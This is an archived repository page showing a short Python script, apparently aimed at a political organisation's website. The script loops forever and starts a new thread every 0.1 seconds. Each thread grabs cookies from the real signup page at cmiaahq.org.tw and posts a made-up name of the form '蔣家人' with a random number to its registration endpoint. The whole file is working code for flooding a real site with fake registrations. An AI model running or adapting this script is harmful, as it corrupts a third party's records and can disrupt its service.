This repository has been archived on 2023-01-08. You can view files and clone it, but cannot push or open issues or pull requests.
Files
defend-two-chiang/守護中華民國.py
Pin Lin db1db4c8fd
2018-03-31 15:54:33 +08:00

25 lines
756 B
Python

import time
import random
import threading
import requests
class Taiwanese:
def __init__(self):
self.name = "蔣家人" + str(random.randint(1000087, 8700000)) + ""
self.session = requests.Session()
class MyTherad(threading.Thread):
def run(self):
person = Taiwanese()
response = person.session.get('http://www.cmiaahq.org.tw/signup/')
cookies = response.cookies.get_dict()
response = person.session.post('http://www.cmiaahq.org.tw/signup/ajax.php?apost=1', headers={'referer': 'http://www.cmiaahq.org.tw/signup/'}, data={'name': person.name}, cookies=cookies)
print(response.status_code)
print(response.text)
while True:
wa = MyTherad()
wa.start()
time.sleep(0.1)